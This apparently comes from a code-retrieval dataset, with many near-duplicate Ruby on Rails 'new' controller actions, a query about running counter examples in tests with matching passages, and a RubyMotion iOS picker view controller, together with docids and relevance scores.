|format|\n format.html # new.html.erb\n format.json { render json: @statu }\n end\n end", "title": "" }, { "docid": "710b45035a5d240ee3731298e7fad204", "score": "0.6380852", "text": "def new\n @site = Site.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @site }\n end\n end", "title": "" }, { "docid": "710b45035a5d240ee3731298e7fad204", "score": "0.6380852", "text": "def new\n @site = Site.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @site }\n end\n end", "title": "" }, { "docid": "710b45035a5d240ee3731298e7fad204", "score": "0.6380852", "text": "def new\n @site = Site.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @site }\n end\n end", "title": "" }, { "docid": "710b45035a5d240ee3731298e7fad204", "score": "0.6380852", "text": "def new\n @site = Site.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @site }\n end\n end", "title": "" }, { "docid": "710b45035a5d240ee3731298e7fad204", "score": "0.6380852", "text": "def new\n @site = Site.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @site }\n end\n end", "title": "" }, { "docid": "710b45035a5d240ee3731298e7fad204", "score": "0.6380852", "text": "def new\n @site = Site.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @site }\n end\n end", "title": "" }, { "docid": "710b45035a5d240ee3731298e7fad204", "score": "0.6380852", "text": "def new\n @site = Site.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @site }\n end\n end", "title": "" }, { "docid": "710b45035a5d240ee3731298e7fad204", "score": "0.6380852", "text": "def new\n @site = Site.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @site }\n end\n end", "title": "" }, { "docid": "710b45035a5d240ee3731298e7fad204", "score": "0.6380852", "text": "def new\n @site = Site.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @site }\n end\n end", "title": "" }, { "docid": "4b2b9f8d8694e46de79453f95370fedc", "score": "0.6376554", "text": "def new\n @sermon = Sermon.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @sermon }\n end\n end", "title": "" }, { "docid": "5825ebdb373d0c7b32ad5a6974f535ad", "score": "0.63758314", "text": "def new\n @system = System.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @system }\n end\n end", "title": "" }, { "docid": "0a82ac669fca78fe18e5cef290acbe37", "score": "0.6373233", "text": "def new\n @vid_so = VidSo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @vid_so }\n end\n end", "title": "" }, { "docid": "96a396d78b223ae394eda0008c419c32", "score": "0.6373079", "text": "def new\n @waiver = Waiver.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @waiver }\n end\n end", "title": "" }, { "docid": "96a396d78b223ae394eda0008c419c32", "score": "0.6373079", "text": "def new\n @waiver = Waiver.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @waiver }\n end\n end", "title": "" }, { "docid": "96a396d78b223ae394eda0008c419c32", "score": "0.6373079", "text": "def new\n @waiver = Waiver.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @waiver }\n end\n end", "title": "" }, { "docid": "2cd5414795111bba2e27fd23d40e1097", "score": "0.63653135", "text": "def new\n @vulnerability = Vulnerability.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @vulnerability }\n end\n end", "title": "" }, { "docid": "b0dde4c9a0c5c1fcb9b8932106a3bc2b", "score": "0.63649505", "text": "def new\n @make = Make.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @make }\n end\n end", "title": "" }, { "docid": "f99df1bc66af7ca8f4cd01890866c9b4", "score": "0.63623506", "text": "def new\n @visit = Visit.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @visit }\n format.xml { render :xml => @visit }\n end\n end", "title": "" }, { "docid": "d04c66a57e03f3cbdcfa0b57f1f6afe7", "score": "0.6356877", "text": "def new\n @site = Site.new()\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @site }\n end\n end", "title": "" }, { "docid": "0867ce805ccf15b08de9624a783943ae", "score": "0.63508195", "text": "def new\n @gotra = Gotra.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @gotra }\n end\n end", "title": "" }, { "docid": "b457fcc465aec83c4f9180fd459c7a03", "score": "0.63490736", "text": "def new\n @site = Site.new \n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @site }\n end\n end", "title": "" }, { "docid": "8e720517b2be41bb86455b0fe7aef14c", "score": "0.63472295", "text": "def new\n @unite = Unite.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @unite }\n end\n end", "title": "" }, { "docid": "fb34c33aa1f23b70ea08677565fb25c3", "score": "0.63469535", "text": "def new\n @nagios_status = NagiosStatus.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @nagios_status }\n end\n end", "title": "" }, { "docid": "fbb221e0dac1e7043946860433ac438e", "score": "0.63421804", "text": "def new\n @exist = Exist.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @exist }\n end\n end", "title": "" }, { "docid": "d89d88dcb488b2acf0e3af27a9893512", "score": "0.6340519", "text": "def new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: ''}\n end\n end", "title": "" }, { "docid": "40cd7f26cd7e5d9226b99e32a60f3dde", "score": "0.63394785", "text": "def new\n @site = Site.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @site }\n end\n end", "title": "" }, { "docid": "40cd7f26cd7e5d9226b99e32a60f3dde", "score": "0.63394785", "text": "def new\n @site = Site.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @site }\n end\n end", "title": "" }, { "docid": "40cd7f26cd7e5d9226b99e32a60f3dde", "score": "0.63394785", "text": "def new\n @site = Site.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @site }\n end\n end", "title": "" }, { "docid": "40cd7f26cd7e5d9226b99e32a60f3dde", "score": "0.63394785", "text": "def new\n @site = Site.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @site }\n end\n end", "title": "" }, { "docid": "db8869d90789932517e877e5d9c5378a", "score": "0.63379115", "text": "def new\n @vegresource = Vegresource.new\n @vrtype = params[:vrtype]\n respond_to do |format|\n format.html # new.html.erb\n # format.json { render :json => @vegresource }\n end\n end", "title": "" }, { "docid": "0a5ade5ee810aa0127c274d38c735b7c", "score": "0.6337327", "text": "def new\n @inventory = Inventory.new\n @inventories = Inventory.find_by_user_id(current_user.id)\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @inventory }\n end\n end", "title": "" }, { "docid": "0f91a60c626a836ed78bf24e46763612", "score": "0.632977", "text": "def new\n @vet_lab = VetLab.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @vet_lab }\n end\n end", "title": "" }, { "docid": "b14e7636969d6a4e299d05eeca7b151a", "score": "0.63237125", "text": "def new(options) \n Client.get(\"/lovers/new\", :query => options)\n end", "title": "" }, { "docid": "9da4ac2dd8d0dbc2eff8d27ca9bb0d5e", "score": "0.63198704", "text": "def new\n @new_recipe = NewRecipe.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @new_recipe }\n end\n end", "title": "" }, { "docid": "b9531fa4bc11a784c3f95a0f6c5a7d92", "score": "0.63196605", "text": "def new\n @gene = Gene.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @gene }\n end\n end", "title": "" }, { "docid": "b9531fa4bc11a784c3f95a0f6c5a7d92", "score": "0.63196605", "text": "def new\n @gene = Gene.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @gene }\n end\n end", "title": "" }, { "docid": "4706376f6783ffa73a72b2073ac5630c", "score": "0.6317696", "text": "def new\n @votos_urna = VotosUrna.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @votos_urna }\n end\n end", "title": "" }, { "docid": "f1073eff844888f65086243bc36c50dc", "score": "0.6317587", "text": "def new\n @inventory_type = InventoryType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @inventory_type }\n end\n end", "title": "" }, { "docid": "9c457d29101a94dd30c6eb8a7b69b439", "score": "0.6317538", "text": "def new\n @find_rainbow = FindRainbow.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @find_rainbow }\n end\n end", "title": "" }, { "docid": "9eb6d57b2fadf5aa7e21803f2201ef14", "score": "0.63161254", "text": "def new\n @giver = Giver.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @giver }\n end\n end", "title": "" }, { "docid": "9bf493ab4fb85f30efe8886e151fe2b6", "score": "0.6315536", "text": "def new\n if current_user.try(:admin?)\n @tag = Tag.new\n @tag.uniqueUrl = (0...20).map{ ('a'..'z').to_a[rand(26)] }.join\n\n #Check for uniqueness in the tag url.\n\n while (!Tag.where(:uniqueUrl => @tag.uniqueUrl).first.nil?)\n @tag.uniqueUrl = (0...20).map{ ('a'..'z').to_a[rand(26)] }.join\n end\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tag }\n end\n else\n flash[:notice] = 'You need admin privileges to go there.'\n redirect_to :controller => \"home\", :action => \"index\"\n end\n end", "title": "" } ]
bb96bd9f968f57d78c109602c16009a3
Whether counter examples must be ran or not.
[ { "docid": "be7e27b8ac5ec06c0325469573fcd353", "score": "0.72996557", "text": "def run_examples?\n @run_examples\n end", "title": "" } ]
[ { "docid": "9d6c0a2ea991e76c8d6534b1f1bf54fe", "score": "0.8375822", "text": "def run_counterexamples?\n @run_counterexamples\n end", "title": "" }, { "docid": "f55dc458102ab44889b82a3af678d499", "score": "0.8029394", "text": "def run_generated_counterexamples?\n @run_generated_counterexamples\n end", "title": "" }, { "docid": "7209024735b0737d29ac9cb762c556c0", "score": "0.7366818", "text": "def should_run?\n @iterations ||= 0\n @iterations += 1\n @iterations <= 3\n end", "title": "" }, { "docid": "f96e412bc8bca6ac31413c2e7d4f4066", "score": "0.71768206", "text": "def interesting?\n @counter > 0\n end", "title": "" }, { "docid": "192431c7c2b2e7d8c3b1e76412455799", "score": "0.6771607", "text": "def has_been_run?\n res = true\n res = false if self.experiments.size == 0\n\n self.experiments.each do |experiment|\n res &&= experiment.has_been_run?\n return res unless res\n end\n\n res\n end", "title": "" }, { "docid": "192431c7c2b2e7d8c3b1e76412455799", "score": "0.6771607", "text": "def has_been_run?\n res = true\n res = false if self.experiments.size == 0\n\n self.experiments.each do |experiment|\n res &&= experiment.has_been_run?\n return res unless res\n end\n\n res\n end", "title": "" }, { "docid": "230287db2aa27fffaf5cdc729a9602de", "score": "0.6720917", "text": "def counter?\n @counter\n end", "title": "" }, { "docid": "656430f9630e59d46aa10ccdcbb5eaaa", "score": "0.6706933", "text": "def need_training?\n @need_training ||= (user_questions.count < 10)\n end", "title": "" }, { "docid": "e253f394661ebadd91db20ffcbfd1662", "score": "0.6651973", "text": "def run_optional?\n test_instances.\n where(run_optional: true).\n pluck(:test_case_id).uniq.count == test_cases.count\n end", "title": "" }, { "docid": "0cfe44f70a1f7951514eba2b6ca4c162", "score": "0.65366054", "text": "def has_encore_effect?\n return @encore_counter > 0\n end", "title": "" }, { "docid": "a6759828b1fc5b8ab7add6e91c15ffe1", "score": "0.6519534", "text": "def at_least_times_executed; end", "title": "" }, { "docid": "a6759828b1fc5b8ab7add6e91c15ffe1", "score": "0.6519534", "text": "def at_least_times_executed; end", "title": "" }, { "docid": "66bb4f38d6c7240974b85b2ed111918e", "score": "0.65062565", "text": "def specdoc_shown?(passed, options = {})\n (options[:specdoc] == :always || (options[:specdoc] == :failure && !passed))\n end", "title": "" }, { "docid": "2c00861397aae1453dd69039bb81b850", "score": "0.6499038", "text": "def confused?\n @confuse_count > 0\n end", "title": "" }, { "docid": "06a1002817d289bca399d6bc8f9a1fdd", "score": "0.64957476", "text": "def passing?\n return self.expected_results.size == self.count_passing\n end", "title": "" }, { "docid": "fde8ef7d6d94e6f52d261a3df833fe00", "score": "0.64563257", "text": "def default_run_counterexamples\n ENV['ROBUST'].nil? || (ENV['ROBUST'] != 'no' && ENV['ROBUST'] != 'generated')\n end", "title": "" }, { "docid": "dbfd55f4664ee76d158e12c002378ddc", "score": "0.6441859", "text": "def specdoc_shown?(passed)\n options[:specdoc] == :always || (options[:specdoc] == :failure && !passed)\n end", "title": "" }, { "docid": "b71ee54595d44c8556e0c4a6a20480d9", "score": "0.64390886", "text": "def ran_once?\n @run == true\n end", "title": "" }, { "docid": "ae44d26122b2c2430f6eaf8ea435f958", "score": "0.64066094", "text": "def no_required_actions?\n\n action_count = 0\n action_count += @run_completion_stats.bins_tipped_req\n action_count += @run_completion_stats.bins_scrapped_req\n action_count += @run_completion_stats.bins_reclassified_req\n action_count += @run_completion_stats.pallets_scrapped_req\n action_count += @run_completion_stats.pallets_reclassified_req\n action_count += @run_completion_stats.pallets_created_req\n action_count += @run_completion_stats.cartons_scrapped_req\n action_count += @run_completion_stats.cartons_created_req\n action_count += @run_completion_stats.cartons_reclassified_req\n action_count += @run_completion_stats.cartons_pallet_refs_changed_req\n action_count += @run_completion_stats.pallets_qc_resets_req\n action_count += @run_completion_stats.pallet_build_ups_req\n\n\n return action_count == 0\n \n end", "title": "" }, { "docid": "252ea94d9bb6cbf0f3cb78bd1b10e5b6", "score": "0.6404918", "text": "def parallel_run?\n parallel_run > 0\n end", "title": "" }, { "docid": "f5d3bdba9c470912904b658c677dcebc", "score": "0.63786983", "text": "def default_run_generated_counterexamples\n ENV['ROBUST'].nil? || (ENV['ROBUST'] != 'no')\n end", "title": "" }, { "docid": "06bf9425498db3806d6ad2414016cbb6", "score": "0.63309586", "text": "def has_run_successfully?\n self.run_result == 0 && !self.mean_auroc.nil?\n end", "title": "" }, { "docid": "11c743a19354afdd48d44f72a455233a", "score": "0.6316747", "text": "def run?\n false\n end", "title": "" }, { "docid": "83cf7636e47ea0cc024846182325f392", "score": "0.63090026", "text": "def completed_conformance_checking?\n did_complete_conformance_checking?\n end", "title": "" }, { "docid": "b1b6cbb6bf8ca10db9d9b4fd62cf58ed", "score": "0.63082564", "text": "def run_this_time?\n if self[:always_run]\n true\n else\n ![nil, '', '0', 'false'].include?(ENV['COCO'])\n end\n end", "title": "" }, { "docid": "f40842f65941a74fa388b2e69c6457fc", "score": "0.6291777", "text": "def check_skip_counter\n @skip_counter == 1\n end", "title": "" }, { "docid": "ee8f52350dc813659a5410963d92b828", "score": "0.6287075", "text": "def fail_if_no_examples; end", "title": "" }, { "docid": "af4c15b215d829f4a175757cce704a53", "score": "0.6284098", "text": "def has_sample?\n true\n end", "title": "" }, { "docid": "a03cc28a2700a1fc81b50765a30b6d48", "score": "0.6277934", "text": "def run?\n @run ||= false\n end", "title": "" }, { "docid": "73d4b33ec3629d609745936c6b52f815", "score": "0.6236822", "text": "def dry_running?\n latest_tag_count(:dry_run_started) > latest_tag_count(:dry_run_finished)\n end", "title": "" }, { "docid": "ee3c0c107ea54cb8aa05fbb376fcdc40", "score": "0.62299883", "text": "def start?\n @count == @options[:zero]\n end", "title": "" }, { "docid": "2f1d4cc0807e4a6b3f793a92f20c1eea", "score": "0.62269866", "text": "def perfaction?\n return @perf_action\n end", "title": "" }, { "docid": "2e875238b88ed4f2e32a2f49856f76a7", "score": "0.6205155", "text": "def run_trains?\n count_actions_taken(Action::RunTrains).positive?\n end", "title": "" }, { "docid": "e1801e1d32d974b50237d4ae49cd6d1b", "score": "0.620201", "text": "def first_run?\n @__rule.run_count == 0\n end", "title": "" }, { "docid": "412670c803bd3377f4025eecf867a963", "score": "0.6193347", "text": "def should_run?\n val = (!all_nodes_ready? ||\n config_updated?)\n end", "title": "" }, { "docid": "9fbc41bcab2aaeb0f4a88e0c49132237", "score": "0.6181006", "text": "def trial?\n !price_tests.any?\n end", "title": "" }, { "docid": "b8254b67946b0efb7cc29d69c5fe2f19", "score": "0.61759245", "text": "def must_runs\n @must_runs ||\n select_participants(MustRunProducer) +\n select_participants(CurveProducer)\n end", "title": "" }, { "docid": "422281d0a770f88d950e156cb0cd230f", "score": "0.61714935", "text": "def tell_truth?\n rand(100) >= 4\n end", "title": "" }, { "docid": "1a13c0cfff4c33c360efcb80fd35fa1b", "score": "0.6162345", "text": "def test_continue_truthy\n turns_remaining_miner = Prospector.new(0, @dummy_location, num_turns = 1)\n assert turns_remaining_miner.continue?\n end", "title": "" }, { "docid": "b94a14795c34b9bb80ab315b1d16c02f", "score": "0.61588526", "text": "def ran\n all_tests.select(&:ran?)\n end", "title": "" }, { "docid": "509843e42b2ef0db1666e40d1695aba5", "score": "0.6157599", "text": "def fail_if_no_examples=(_arg0); end", "title": "" }, { "docid": "cbf0968c880e70bdf8ab739bec2ff4e0", "score": "0.61482525", "text": "def ran?\n @ran\n end", "title": "" }, { "docid": "cbf0968c880e70bdf8ab739bec2ff4e0", "score": "0.61482525", "text": "def ran?\n @ran\n end", "title": "" }, { "docid": "54a72e5ae44783bd7112d3167f545c07", "score": "0.6147311", "text": "def ran?\n !output.nil?\n end", "title": "" }, { "docid": "abb71e3081ee2afbd6e7b25e0401659c", "score": "0.6130672", "text": "def paralysis_check\n return rand(100)<Paralyze_check_rate\n end", "title": "" }, { "docid": "2355c246fda89fd94356d7751b14a773", "score": "0.6127442", "text": "def running?()\n #This is a stub, used for indexing\n end", "title": "" }, { "docid": "11fcc890f6e47d494ba20ea8b6a5ac0a", "score": "0.6127026", "text": "def expected_times_executed; end", "title": "" }, { "docid": "11fcc890f6e47d494ba20ea8b6a5ac0a", "score": "0.6127026", "text": "def expected_times_executed; end", "title": "" }, { "docid": "ec0861739aae20c2a72f6f99b404340a", "score": "0.6125405", "text": "def done?\n @counter >= @target\n end", "title": "" }, { "docid": "515079861f940141bdb9e72302cc47be", "score": "0.61215544", "text": "def missed?\n !never? && !skipped? && coverage.zero?\n end", "title": "" }, { "docid": "05717b01f5af1d969e14c94e50cf2435", "score": "0.6116738", "text": "def covered?; end", "title": "" }, { "docid": "05717b01f5af1d969e14c94e50cf2435", "score": "0.6116738", "text": "def covered?; end", "title": "" }, { "docid": "2546addcbd47780fb0f417af1c9ae801", "score": "0.61124295", "text": "def test_truth\r\n end", "title": "" }, { "docid": "2546addcbd47780fb0f417af1c9ae801", "score": "0.61124295", "text": "def test_truth\r\n end", "title": "" }, { "docid": "2546addcbd47780fb0f417af1c9ae801", "score": "0.61124295", "text": "def test_truth\r\n end", "title": "" }, { "docid": "2546addcbd47780fb0f417af1c9ae801", "score": "0.61124295", "text": "def test_truth\r\n end", "title": "" }, { "docid": "ab93d46520e9deef61de30264db7e615", "score": "0.61116487", "text": "def run_experiment?(experiment)\n # a blank experiment can't run\n return false if experiment.nil?\n\n # get a random value - a 100% coverage is represented\n # as 1.0, so Kernel.rand works for us as its max is\n # 1.0\n return experiment.traffic_coverage >= Kernel.rand\n end", "title": "" }, { "docid": "4f49d6a5b4c52d7f0e42d471e6532e6b", "score": "0.6110319", "text": "def requires_some?\n @require_set.size > 0\n end", "title": "" }, { "docid": "a48e9119ea17a6bda4dde7a5b585851c", "score": "0.6096737", "text": "def pass?\n prepare_tests\n @tests.all?{ |t| t.pass? }\n end", "title": "" }, { "docid": "c0f1e2ce33b688df41b242fa63f8e5b4", "score": "0.6095791", "text": "def pre_output\n @did_tests_fail = tests_failed?\n end", "title": "" }, { "docid": "b50b62201eaf29b4e32686c8a44941d3", "score": "0.6094566", "text": "def has_examples?\n meta? *EXAMPLES_KEYS\n end", "title": "" }, { "docid": "d47564650b37002baf12237a66775fac", "score": "0.60851485", "text": "def passed?\n !failed? && !skipped? && !errored?\n end", "title": "" }, { "docid": "d47564650b37002baf12237a66775fac", "score": "0.60851485", "text": "def passed?\n !failed? && !skipped? && !errored?\n end", "title": "" }, { "docid": "47c74138c1db5e3d19ad83469af756c8", "score": "0.6080686", "text": "def counter_cached?\n !!@options[:counter_cache]\n end", "title": "" }, { "docid": "67a9a8a50a2500726000ce3b41dd0187", "score": "0.6072652", "text": "def sampled?\n (@flags & 1) != 0\n end", "title": "" }, { "docid": "c9ee39da4743e1da678537eccb4be536", "score": "0.60700995", "text": "def running?\n !exhausted?\n end", "title": "" }, { "docid": "b9a22797dc9b97ac0ac383472c447b8c", "score": "0.60636866", "text": "def any_test_failed?(test_results); end", "title": "" }, { "docid": "39accb4c696ee548e03e1c84922cd8c6", "score": "0.6060555", "text": "def has_disable_effect?\n return @disable_counter > 0\n end", "title": "" }, { "docid": "021278925baeda3a5cce90b4f7cdfd68", "score": "0.60598624", "text": "def completed?\n if self.experiment_size == 0\n false\n else\n super\n end\n end", "title": "" }, { "docid": "b871608dfd0b4d4f8b694104147f855d", "score": "0.60468656", "text": "def run?\n !!config.run\n end", "title": "" }, { "docid": "10e645086803b0b0dbcde4684e3a9c6e", "score": "0.6046382", "text": "def full_required?\n !@count.nil?\n end", "title": "" }, { "docid": "10e645086803b0b0dbcde4684e3a9c6e", "score": "0.6046382", "text": "def full_required?\n !@count.nil?\n end", "title": "" }, { "docid": "390a0c3e98523ff204ebcf3e9290cfd0", "score": "0.6044924", "text": "def answer_counts_changed?\n\t\t(yes_count_changed? or no_count_changed? or dont_care_count_changed?) ? true : false\n\tend", "title": "" }, { "docid": "b4688f6250299011ea709f5c9a29c718", "score": "0.60393834", "text": "def success?\n self.counts[:examined] == 0 || self.counts[:error] == 0\n end", "title": "" }, { "docid": "7139e2a3f57ad5dbfddf8e00b47944a8", "score": "0.60361695", "text": "def confuse_check\n if @state_count > 0\n @state_count -= 1\n return rand(2) == 0\n end\n @confuse = false\n return :cured #Le pokémon est soigné de la confusion\n end", "title": "" }, { "docid": "cccce0e3d3819e2e57192c37998b4125", "score": "0.6031442", "text": "def training?\n self.trainings.not_finished.count > 0\n end", "title": "" }, { "docid": "abe46d9fc9eb41b2c4de967305da8bc5", "score": "0.60280544", "text": "def started_scoring?\n !scores.empty?\n end", "title": "" }, { "docid": "abe46d9fc9eb41b2c4de967305da8bc5", "score": "0.60280544", "text": "def started_scoring?\n !scores.empty?\n end", "title": "" }, { "docid": "27a1339c353e3991e78ed0a3da707126", "score": "0.6024208", "text": "def all_run()\n t = true\n \n $run.each do |p|\n t = t && (p == 1) ? true : false\n end\n \n t\nend", "title": "" }, { "docid": "7f9db96989bcf6a9be38a3d9cd17875e", "score": "0.6023888", "text": "def sample?\n should_sample?(@default_rule)\n end", "title": "" }, { "docid": "259696b00de45bf0a3a5733aaab1720e", "score": "0.60217184", "text": "def passed?\n !errors? && !failures?\n end", "title": "" }, { "docid": "41e70fe2faf5522b73f7d27e72105472", "score": "0.60157156", "text": "def has_examples?\n EXAMPLES_KEYS.any? {|key| meta.key? key}\n end", "title": "" }, { "docid": "cd67bdcb6db74d03b429919a4a779ea8", "score": "0.6011535", "text": "def passing?\n return (self.product_tests.size > 0) && (self.product_tests.size == self.count_passing)\n end", "title": "" }, { "docid": "9ca2990db6900e1b8a2c27d1d825cb45", "score": "0.6007205", "text": "def missed?\n !never? && !skipped? && coverage.zero?\n end", "title": "" }, { "docid": "5bf726a82f4ffb36a288f1ef6e91c752", "score": "0.600276", "text": "def run?\n @run\n end", "title": "" }, { "docid": "2df007ac6e61fd629a9195f68c0aa0af", "score": "0.6002568", "text": "def busted?\n @count > 21\n end", "title": "" }, { "docid": "0f6f8a6da9f11fce55ab00a036ea7ba6", "score": "0.5997276", "text": "def never?\n !skipped? && coverage.nil?\n end", "title": "" }, { "docid": "f5fd9628247631f9dec907cc82134b5d", "score": "0.5997161", "text": "def disable_init_tests?\n @args.key?(\"disable_unit_tests\")\n end", "title": "" }, { "docid": "90f9e8a8cd6e3d81908d110a2c80fb7e", "score": "0.599474", "text": "def run_condition\n true\n end", "title": "" }, { "docid": "024719ebee55677bea111d1757bd09ef", "score": "0.59868646", "text": "def has_test\n\t\treturn @t_cpp_files.length > 0\n\tend", "title": "" }, { "docid": "797b3cd85eaceff2be09a3c4da49b6f9", "score": "0.59790593", "text": "def completed?\n (self.experiment_size == self.count_done_simulations)\n end", "title": "" }, { "docid": "c95a91380d7e0faed4a15ad6c738607a", "score": "0.5977702", "text": "def test_for(example)\n @mistakes += 1 if is_mistake(example)\n @tests += 1\n end", "title": "" }, { "docid": "62c9cf0c0c32ea2dafb6d60f3879b72a", "score": "0.59749955", "text": "def dry_run_sequence?\n !dry_run_sequence.steps.empty?\n end", "title": "" }, { "docid": "63d69ce87585207e3e97639f4b03e22e", "score": "0.5974869", "text": "def successful_tests\n count = 0\n self.learning_tests.each do |test|\n if test.is_successful_test?\n count = count + 1\n end\n end\n count\n end", "title": "" }, { "docid": "63d69ce87585207e3e97639f4b03e22e", "score": "0.5974869", "text": "def successful_tests\n count = 0\n self.learning_tests.each do |test|\n if test.is_successful_test?\n count = count + 1\n end\n end\n count\n end", "title": "" }, { "docid": "813e5370eeb552f66dc2787d005a7d4b", "score": "0.59655446", "text": "def should_run?\n queued_items.count > 0\n end", "title": "" }, { "docid": "07fcd19a06eded94d1c824014c48ddee", "score": "0.59650135", "text": "def used?\n return true unless evidence.empty?\n return true unless title_pages.empty?\n return true unless context_images.empty?\n false\n end", "title": "" }, { "docid": "9831a6c25bcc515ff72f1789e329eaa6", "score": "0.596211", "text": "def __should_run?\n instance_eval(&@__rule.run_condition)\n end", "title": "" }, { "docid": "968fa096f840e3e818cb1fbd383ddacc", "score": "0.59616303", "text": "def errors_outside_of_examples_count; end", "title": "" }, { "docid": "6165dd73d539eadea6663390078ed1e6", "score": "0.5958695", "text": "def contains_non_deletable_lab_sample?\n false\n end", "title": "" } ]
99b5d62cb88ffad278eab85ccf3147e8
pragma mark View Controller
[ { "docid": "80e5948688900d09f82e385c86cf4462", "score": "0.0", "text": "def viewDidLoad\n super\n\n self.title = 'PickerTitle'.localized\n\n self.view.backgroundColor = UIColor.lightGrayColor\n \n @toolbar = UIToolbar.alloc.init\n frame = self.view.frame\n frame.size.height = 44.0\n frame.origin.y = CGRectGetHeight(self.view.frame) - frame.size.height\n @toolbar.frame = frame\n @toolbar.autoresizingMask = UIViewAutoresizingFlexibleTopMargin | UIViewAutoresizingFlexibleWidth\n \n @button_bar_segmented_control = UISegmentedControl.alloc.initWithItems(['UIPicker', 'UIDatePicker', 'Custom'])\n @button_bar_segmented_control.frame = [[0, 0], [299, 30]]\n @button_bar_segmented_control.segmentedControlStyle = UISegmentedControlStyleBar\n @button_bar_segmented_control.tintColor = UIColor.darkGrayColor\n # @button_bar_segmented_control.segmentedControlStyle = UISegmentedControlStyleBar\n @button_bar_segmented_control.addTarget(self,\n action: 'toggle_pickers:',\n forControlEvents: UIControlEventValueChanged)\n\n flexible_space = UIBarButtonItem.alloc.initWithBarButtonSystemItem(UIBarButtonSystemItemFlexibleSpace,\n target: nil,\n action: nil)\n bar_button_item = UIBarButtonItem.alloc.initWithCustomView(@button_bar_segmented_control)\n @toolbar.setItems([flexible_space, bar_button_item, flexible_space],\n animated: false)\n\n @scroll_view = UIScrollView.alloc.init\n frame = self.view.frame\n frame.size.height = CGRectGetHeight(self.view.frame) - @toolbar.size.height\n @scroll_view.frame = frame\n @scroll_view.autoresizingMask = UIViewAutoresizingFlexibleHeight | UIViewAutoresizingFlexibleWidth\n self.view.addSubview @scroll_view\n\n # @toolbar must be added after @scroll_view\n # otherwise, automaticallyAdjustsScrollViewInsets is uneffective\n self.view.addSubview @toolbar\n\n @picker_style_segmented_control = UISegmentedControl.alloc.initWithItems(['1', '2', '3', '4'])\n @picker_style_segmented_control.frame = [[57, 266], [207, 30]]\n @picker_style_segmented_control.tintColor = UIColor.darkGrayColor\n @picker_style_segmented_control.segmentedControlStyle = UISegmentedControlStyleBar\n @picker_style_segmented_control.autoresizingMask = UIViewAutoresizingFlexibleWidth | UIViewAutoresizingFlexibleBottomMargin\n @picker_style_segmented_control.addTarget(self,\n action: 'toggle_picker_style:',\n forControlEvents: UIControlEventValueChanged)\n @scroll_view.addSubview @picker_style_segmented_control\n \n @segment_label = UILabel.alloc.initWithFrame [[20, 243], [280, 21]]\n @segment_label.autoresizingMask = UIViewAutoresizingFlexibleBottomMargin | UIViewAutoresizingFlexibleWidth\n @segment_label.font = UIFont.systemFontOfSize(14.0)\n @segment_label.textAlignment = NSTextAlignmentCenter\n @scroll_view.addSubview @segment_label\n\n # set the content size of our scroll view to match the frame,\n # this will allow the content to scroll in landscape\n\n @scroll_view.setContentSize [320, 416]\n\n self.create_picker\n self.create_date_picker\n self.create_custom_picker\n\n # label for picker selection output\n @label = UILabel.alloc.initWithFrame([[RC_LEFT_MARGIN, CGRectGetMaxY(@my_picker_view.frame) + 10.0], [CGRectGetWidth(self.view.bounds) - (RC_RIGHT_MARGIN * 2.0), 14.0]])\n @label.font = UIFont.systemFontOfSize(12.0)\n @label.textAlignment = NSTextAlignmentCenter\n @label.textColor = UIColor.blackColor\n @label.backgroundColor = UIColor.clearColor\n @label.autoresizingMask = UIViewAutoresizingFlexibleWidth\n @scroll_view.addSubview @label\n\n # start by showing the normal picker in date mode\n @button_bar_segmented_control.selectedSegmentIndex = 0\n @date_picker_view.datePickerMode = UIDatePickerModeDate\n\n @picker_style_segmented_control.selectedSegmentIndex = 1\n end", "title": "" } ]
